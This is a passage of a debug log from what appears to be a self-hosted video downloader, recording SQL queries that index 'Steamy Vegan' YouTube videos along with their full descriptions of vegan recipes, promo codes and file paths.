Plant-Based (No Protein Powder Option!)", "2e58dd14-18cb-4fee-8f01-8c101eadfdfa", 1, [], false, "2p4VfNK5Hbg", "https://www.youtube.com/watch?v=2p4VfNK5Hbg", 186, "/downloads/downloads/alec/Steamy Vegan/2024-06-15 Protein Ice Cream 3 Ways! Whole Food Plant-Based (No Protein Powder Option!)/Protein Ice Cream 3 Ways! Whole Food Plant-Based (No Protein Powder Option!) [2p4VfNK5Hbg].NA", false, false, false, 1, ~U[2024-06-15 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make PROTEIN ICE CREAM! Vegan, whole food plant based and gluten-free ice cream. Each recipe has a healthy SECRET INGREDIENT 🤫 \n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANK30\n\nLooking for more healthy desserts? Watch this playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nRECIPES ⬇️\n1. Blend all ingredients in a high speed blender and enjoy right away as soft serve OR\n2. Transfer to rectangular container and freeze for 2 to 2½ hours, stirring every 25 minutes until your preferred texture is achieved\n3. Add ice to your recipes to get a more frozen texture if you want to eat the ice cream right away\n\nChocolate Protein Ice Cream (Serving size approx 1 cup, Serves 3 — 265 Calories, 22g protein, 30g carbs, 8g fat)\n1 cup soy milk\n1 small baked sweet potato, mashed and frozen into cubes\n¾ cup greek-style plant based yogurt, frozen into ice cubes\n2 scoops plant-based chocolate protein powder (\u202A@goodprotein6261\u202C Chocolate)\n2 tbsp cocoa powder\n2 tbsp fat free sugar free chocolate pudding mix\n1 tsp vanilla\n1 cup ice (optional)\nPlant milk or water as needed to blend\n\nVanilla Matcha Protein Ice Cream (Serving size approx 1 cup, Serves 3 — 270 Calories, 20g protein, 21g carbs, 12g fat)\n1 cup soy milk\n½ a large avocado, frozen\n½ cup Silk greek-style protein yogurt, frozen into ice cubes\n2 scoops vanilla protein powder (\u202A@goodprotein6261\u202C Vanilla Chai)\n2 tbsp matcha powder\n1½ tbsp fat free/sugar free vanilla jello mix\n1 cup ice (optional)\nPlant milk or water as needed to blend\n\nStrawberry Protein Ice Cream (Serving size approx. 1⅓ cup, Serves 3, 322 Calories, 17g protein, 53g carbs, 26g sugar, 7g fat)\n10 oz frozen strawberries (about 1½ cups)\n1 cup soy milk, frozen into cubes\n1⅔ cup canned white beans\n1¼ cup greek-style vanilla plant based yogurt, frozen into cubes\n1½ tbsp fat/sugar free vanilla jello pudding mix\n2 tbsp maple syrup\n2 tsp vanilla extract\n1 cup ice (optional)\nPlant milk or water as needed to blend\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Protein Ice Cream 3 Ways! Whole Food Plant-Based (No Protein Powder Option!)", 1, nil, false, "2p4VfNK5Hbg", "https://www.youtube.com/watch?v=2p4VfNK5Hbg", "/downloads/downloads/alec/Steamy Vegan/2024-06-15 Protein Ice Cream 3 Ways! Whole Food Plant-Based (No Protein Powder Option!)/Protein Ice Cream 3 Ways! Whole Food Plant-Based (No Protein Powder Option!) [2p4VfNK5Hbg].NA", false, ~U[2024-06-15 00:00:00Z]] 20:31:07.443 [debug] QUERY OK source="sources" db=0.7ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.446 [debug] QUERY OK source="media_items" db=2.0ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-12 00:00:00Z], 1] 20:31:07.448 [debug] QUERY OK source="media_items" db=1.4ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm trying new vegan products that I got at Planted Expo Vancouver! This plant based grocery haul is packed with tons of innovative, industry-changing vegan products that are so exciting! \n\nLooking for more grocery hauls? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n\nLive in Canada? 🇨🇦 Visit www.vegansupply.ca to order many of these products that I tried in this video! 🇺🇸 USA & worldwide shipping also available\n\nBrands featured in this video ✌🏻\n\u202A@juicymarblesstudio\u202C \u202A@glutenullbakery\u202C \u202A@chasorganics\u202C \u202A@bigmountainfoods5975\u202C \u202A@thebetterbutchers\u202C \u202A@itsblume_\u202C \u202A@drinkeightbillion\u202C \u202A@ergogenicsTV\u202C \u202A@yoegg1972\u202C \u202A@plantedlife1336\u202C \n \n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trying NEW Vegan Products! Plant Based Grocery Haul from Planted Expo 🌱", "d1b4e9f5-39a1-46b4-9586-c0eb0065f59d", 1, [], false, "EbgKheAhy3c", "https://www.youtube.com/watch?v=EbgKheAhy3c", 187, "/downloads/downloads/alec/Steamy Vegan/2024-06-12 Trying NEW Vegan Products! Plant Based Grocery Haul from Planted Expo 🌱/Trying NEW Vegan Products! Plant Based Grocery Haul from Planted Expo 🌱 [EbgKheAhy3c].NA", false, false, false, 1, ~U[2024-06-12 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm trying new vegan products that I got at Planted Expo Vancouver! This plant based grocery haul is packed with tons of innovative, industry-changing vegan products that are so exciting! \n\nLooking for more grocery hauls? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n\nLive in Canada? 🇨🇦 Visit www.vegansupply.ca to order many of these products that I tried in this video! 🇺🇸 USA & worldwide shipping also available\n\nBrands featured in this video ✌🏻\n\u202A@juicymarblesstudio\u202C \u202A@glutenullbakery\u202C \u202A@chasorganics\u202C \u202A@bigmountainfoods5975\u202C \u202A@thebetterbutchers\u202C \u202A@itsblume_\u202C \u202A@drinkeightbillion\u202C \u202A@ergogenicsTV\u202C \u202A@yoegg1972\u202C \u202A@plantedlife1336\u202C \n \n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trying NEW Vegan Products! Plant Based Grocery Haul from Planted Expo 🌱", 1, nil, false, "EbgKheAhy3c", "https://www.youtube.com/watch?v=EbgKheAhy3c", "/downloads/downloads/alec/Steamy Vegan/2024-06-12 Trying NEW Vegan Products! Plant Based Grocery Haul from Planted Expo 🌱/Trying NEW Vegan Products! Plant Based Grocery Haul from Planted Expo 🌱 [EbgKheAhy3c].NA", false, ~U[2024-06-12 00:00:00Z]] 20:31:07.449 [debug] QUERY OK source="sources" db=1.2ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.452 [debug] QUERY OK source="media_items" db=2.0ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-09 00:00:00Z], 1] 20:31:07.455 [debug] QUERY OK source="media_items" db=2.2ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make 2 easy dump and bake casserole recipes that are gluten-free, high-protein and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients.\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES\n\nBlack Bean Enchilada Casserole Serves 6, 500 cal, 16g protein, 88g carbs, 11 g fats\n\nIngredients:\n1½ cups cooked quinoa (day old is preferable)\n1½ cups tomato sauce\n2½ to 3 cups black beans, drained and rinsed\n1 tsp cumin\n1 tp onion powder\n1 tsp garlic powder\n1 red bell pepper, diced\n1 yellow bell pepper, diced\n1 poblano pepper or 2 jalapeños, de-seeded and chopped\n1 cup frozen corn\nJuice of 1 lime\n1½ cups salsa\n8 to 10 small corn tortillas\n1 cup vegan cheddar cheese shreds\n3 green onions, diced\nSalt and pepper to taste\n\n1. Warm 1 tbsp oil (or ¼ cup veg broth) in a large skillet over medium-high heat. Add the quinoa, bell peppers, jalapeños, cumin, salt, pepper, and salsa and stir to evenly combine. Heat through for 2-3 minutes. Add the black beans, frozen corn and lime juice and cook for 3 to 4 minutes further.\n2. Lightly oil a 9x13 casserole dish and cut the tortillas into 2 inch strips. Layer ½ cup of the tomato sauce on the bottom followed by enough tortilla strips to cover the bottom. Add ⅓ of the cooked filling on top, spreading into an even layer.\n3. Spread another ½ cup of the tomato sauce on top followed by another layer of tortilla strips. Repeat once more. \n4.Once the final (3rd) layer of the filling has been added on top add the final layer of tortilla strips overtop of the filling. Sprinkle the vegan cheese shreds over the tortillas followed by the chopped green onions.\n5. Bake for 35-40 minutes at 350°F (325°F if using convection) until the cheese has melted and the casserole has bubbled and turned golden around the edges.\n6. Remove from the oven and let cool for 10 minutes, then cut into square. Serve with vegan sour cream, sliced avocado and tortilla chips.\n\n\nMango Chickpea Curry Casserole Serves 6, 680 cal, 26g protein, 108g carbs, 18g fat\n\n2½ to 3 cups canned chickpeas, drained and rinsed\n1 cup uncooked jasmine rice, rinsed\n1½ cups tomato sauce\n1 can coconut milk\n2 mangoes, 1 cut into cubes, 1 pureed with water to make 1½ cups\n1 red, yellow or orange bell pepper\n2 tbsp apple cider vinegar\n2 tbsp soy sauce or tamari\n1 tbsp minced ginger\n2 garlic cloves, minced\n2 tsp garam masala\n1½ tsp cumin\n½ tsp cayenne pepper\n1 tsp ground turmeric\n¼ tsp black pepper\n\n1. Lightly oil a 9x13 casserole and preheat oven to 375F.\n2. Heat a small saucepan over medium heat, then add the tomato sauce, coconut milk, mango puree, apple cider vinegar, coconut sugar, soy sauce, ginger, garlic, and spices and stir to combine. Warm until just simmering.\n3. While the liquid is heating, add to the casserole dish the rinsed rice, chickpeas, mango chunks, and bell peppers and stir to combine.\n4. Pour over the warm sauce and stir to combine, ensuring the rice and veggies are mostly submerged. Use a spatula to press the rice below the liquid.\n5. Cover with foil and bake in the middle rack of the oven for 60 minutes. \n6. Remove from oven and top with fresh cilantro and serve with lime wedges.\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVE" <> ..., "2 Easy Dump and Bake Casserole Recipes! Vegan Diet and Gluten-Free", "b259a23e-8afb-4069-8479-0a2d9b38df60", 1, [], false, "TIpM1KMIOLI", "https://www.youtube.com/watch?v=TIpM1KMIOLI", 188, "/downloads/downloads/alec/Steamy Vegan/2024-06-09 2 Easy Dump and Bake Casserole Recipes! Vegan Diet and Gluten-Free/2 Easy Dump and Bake Casserole Recipes! Vegan Diet and Gluten-Free [TIpM1KMIOLI].NA", false, false, false, 1, ~U[2024-06-09 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you how to make 2 easy dump and bake casserole recipes that are gluten-free, high-protein and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients.\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES\n\nBlack Bean Enchilada Casserole Serves 6, 500 cal, 16g protein, 88g carbs, 11 g fats\n\nIngredients:\n1½ cups cooked quinoa (day old is preferable)\n1½ cups tomato sauce\n2½ to 3 cups black beans, drained and rinsed\n1 tsp cumin\n1 tp onion powder\n1 tsp garlic powder\n1 red bell pepper, diced\n1 yellow bell pepper, diced\n1 poblano pepper or 2 jalapeños, de-seeded and chopped\n1 cup frozen corn\nJuice of 1 lime\n1½ cups salsa\n8 to 10 small corn tortillas\n1 cup vegan cheddar cheese shreds\n3 green onions, diced\nSalt and pepper to taste\n\n1. Warm 1 tbsp oil (or ¼ cup veg broth) in a large skillet over medium-high heat. Add the quinoa, bell peppers, jalapeños, cumin, salt, pepper, and salsa and stir to evenly combine. Heat through for 2-3 minutes. Add the black beans, frozen corn and lime juice and cook for 3 to 4 minutes further.\n2. Lightly oil a 9x13 casserole dish and cut the tortillas into 2 inch strips. Layer ½ cup of the tomato sauce on the bottom followed by enough tortilla strips to cover the bottom. Add ⅓ of the cooked filling on top, spreading into an even layer.\n3. Spread another ½ cup of the tomato sauce on top followed by another layer of tortilla strips. Repeat once more. \n4.Once the final (3rd) layer of the filling has been added on top add the final layer of tortilla strips overtop of the filling. Sprinkle the vegan cheese shreds over the tortillas followed by the chopped green onions.\n5. Bake for 35-40 minutes at 350°F (325°F if using convection) until the cheese has melted and the casserole has bubbled and turned golden around the edges.\n6. Remove from the oven and let cool for 10 minutes, then cut into square. Serve with vegan sour cream, sliced avocado and tortilla chips.\n\n\nMango Chickpea Curry Casserole Serves 6, 680 cal, 26g protein, 108g carbs, 18g fat\n\n2½ to 3 cups canned chickpeas, drained and rinsed\n1 cup uncooked jasmine rice, rinsed\n1½ cups tomato sauce\n1 can coconut milk\n2 mangoes, 1 cut into cubes, 1 pureed with water to make 1½ cups\n1 red, yellow or orange bell pepper\n2 tbsp apple cider vinegar\n2 tbsp soy sauce or tamari\n1 tbsp minced ginger\n2 garlic cloves, minced\n2 tsp garam masala\n1½ tsp c (truncated) 20:31:07.457 [debug] QUERY OK source="sources" db=1.4ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.459 [debug] QUERY OK source="media_items" db=1.9ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-05 00:00:00Z], 1] 20:31:07.461 [debug] QUERY OK source="media_items" db=2.0ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make some of my favorite 5 Ingredient Recipes! Vegan, gluten-free, easy meals! When you’re low on ingredients or on a budget cooking healthy meals can feel like a major struggle, so these easy and healthy recipes will be a big helper to you! \n\nNOTES: Water, salt, pepper and oil aren't considered 'ingredients' as they are kitchen essentials 😉\n\nLooking for more healthy high-protein meal inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nZucchini Boats\n2 zucchinis (pulp removed and reserved)\n1 can chickpeas, drained and rinsed\n1½ cups cooked quinoa\n2 Green onions, chopped\n1 tbsp dijon mustard\nSalt and pepper\nOptional: Shredded vegan cheese\n\n1. Preheat oven to 400F\n2. Rinse quinoa and cook in a small pot with water for 18 to 20 minutes until soft, fluff with a fork and set aside\n3. Half the zucchinis lengthwise and using a spoon or melon baller, scoop out the inside flesh and seeds, roughly chop and set aside.\n4. Lightly spray cooking oil over the zucchinis, place cut-side up on a parchment or silicone lined baking sheet and pre-bake for 15 to 20 minutes, until softened but not mushy.\n5. Meanwhile, heat 1 tsp oil in a small frying pan over medium-high and cook the chopped zucchini ‘guts’ for about 5 minutes until all the water has evaporated. Remove from heat and set aside.\n6. Add the chickpeas to a food processor and pulse a few times until they are mostly crumbled up but still have some chunks remaining. (If you don’t have a food processor, you can just mash the chickpeas with a fork) Add the cooked zucchini pulp, quinoa, chopped green onions, dijon mustard, salt and pepper and pulse a few more times until combined into a chunky, uniform mixture (but not pureed mush).\n7. Remove the zucchinis from the oven and evenly divide the chickpea mixture among the zucchini halves. As an optional garnish, sprinkle vegan cheese shreds on top.\n8. Move the oven rack to the top slot and bake the zucchinis once again for 15 to 20 minutes until the filling and cheese is golden brown.\n\n\nBBQ Tofu Lettuce Wraps\n2 to 4 large kale leaves\n1 block extra firm tofu\n¼ cup Bbq sauce\n¼ cup water\n1 medium shredded carrot\nAvocado chunks\n\n1. Using a box grater, shred the block of tofu on the largest hole side and set aside.\n2. In a medium skillet, warm the bbq sauce and water over medium high and stir together until you have a runny sauce. Once it’s steaming add in the shredded tofu and turn down to medium, stirring to combine. Cook the tofu until almost all the liquid has evaporated, about 5 minutes.\n3. Separate 6 to 8 lettuce leaves from the head and arrange on a large plate or serving board. Evenly spoon out the bbq tofu among the lettuce pieces, then top with shredded carrot and avocado. Enjoy!\n\nChick’n Fajitas\n½ package of soy curls (4 oz), rehydrated\n3 different coloured bell peppers\n½ large red onion, sliced into strips lengthwise\nFajita spice blend\nNeutral oil\nSalt and pepper\nCorn tortillas\n\nSpice blend\n½ tbsp chili powder\n½ tbsp cumin\n1 tsp garlic powder\n½ tsp paprika\n½ tsp oregano\n½ tsp salt\n¼ tsp pepper\n\n\n1. Preheat your oven to 400°F. \n2. Grab yourself 1 to 2 large sheet pans and arrange all your prepared veggies and protein evenly between them. \n3. Add all your spices to a small jar and shake them up to mix them together. Spread the spices evenly over your sheet pan veggies. \n4. Add ½ tbsp oil over each sheet pan (or 1 tbsp if just using 1) or lightly spray each one with cooking spray, then use yours hands to coat all the veggies in the spices and oil.\n5. Bake in the oven for 35 to 40 minutes, flipping the veggies over and rotating the pans halfway to ensure even cooking, until the veggies have softened and are slightly golden on the edges.\n6. Serve with tortillas or over a bowl of greens and grains with some lime juice, salsa and vegan sour cream and ENJOY!\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest o" <> ..., "5 Ingredient Recipes! Vegan, Gluten-Free Recipes for Busy Weeknights (Quick, Easy, Cheap!)", "ffcf4e1f-f898-41fe-8292-e7429e0a717a", 1, [], false, "-xApAcDSGYM", "https://www.youtube.com/watch?v=-xApAcDSGYM", 189, "/downloads/downloads/alec/Steamy Vegan/2024-06-05 5 Ingredient Recipes! Vegan, Gluten-Free Recipes for Busy Weeknights (Quick, Easy, Cheap!)/5 Ingredient Recipes! Vegan, Gluten-Free Recipes for Busy Weeknights (Quick, Easy, Cheap!) [-xApAcDSGYM].NA", false, false, false, 1, ~U[2024-06-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make some of my favorite 5 Ingredient Recipes! Vegan, gluten-free, easy meals! When you’re low on ingredients or on a budget cooking healthy meals can feel like a major struggle, so these easy and healthy recipes will be a big helper to you! \n\nNOTES: Water, salt, pepper and oil aren't considered 'ingredients' as they are kitchen essentials 😉\n\nLooking for more healthy high-protein meal inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nZucchini Boats\n2 zucchinis (pulp removed and reserved)\n1 can chickpeas, drained and rinsed\n1½ cups cooked quinoa\n2 Green onions, chopped\n1 tbsp dijon mustard\nSalt and pepper\nOptional: Shredded vegan cheese\n\n1. Preheat oven to 400F\n2. Rinse quinoa and cook in a small pot with water for 18 to 20 minutes until soft, fluff with a fork and set aside\n3. Half the zucchinis lengthwise and using a spoon or melon baller, scoop out the inside flesh and seeds, roughly chop and set aside.\n4. Lightly spray cooking oil over the zucchinis, place cut-side up on a parchment or silicone lined baking sheet and pre-bake for 15 to 20 minutes, until softened but not mushy.\n5. Meanwhile, heat 1 tsp oil in a small frying pan over medium-high and cook the chopped zucchini ‘guts’ for about 5 minutes until all the water has evaporated. Remove from heat and set aside.\n6. Add the chickpeas to a food processor and pulse a few times until they are mostly crumbled up but still have some chunks remaining. (If you don’t have a food processor, you can just mash the chickpeas with a fork) Add the cooked zucchini pulp, quinoa, chopped green onions, dijon mustard, salt and pepper and pulse a few more times until combined into a chunky, uniform mixture (but not pureed mush).\n7. Remove the zucchinis from the oven and evenly divide the chickpea mixture among the zucchini halves. As an optional garnish, sprinkle vegan cheese shreds on top.\n8. Move the oven rack to the top slot and bake the zucchinis once again for 15 to 20 minutes until the filling and cheese is golden brown.\n\n\nBBQ Tofu Lettuce Wraps\n2 to 4 large kale leaves\n1 block extra firm tofu\n¼ cup Bbq sauce\n¼ cup water\n1 medium shredded carrot\nAvocado chunks\n\n1. Using a box grater, shred the block of tofu on the largest hole side and set aside.\n2. In a medium skillet, warm the bbq sauce and water over medium high and stir together until you have a runny sauce. Once it’s steaming add in t (truncated) 20:31:07.462 [debug] QUERY OK source="sources" db=0.5ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.464 [debug] QUERY OK source="media_items" db=1.9ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-01 00:00:00Z], 1] 20:31:07.467 [debug] QUERY OK source="media_items" db=1.6ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're going over 3 delicious salad recipes for summer that you need to make! Great if 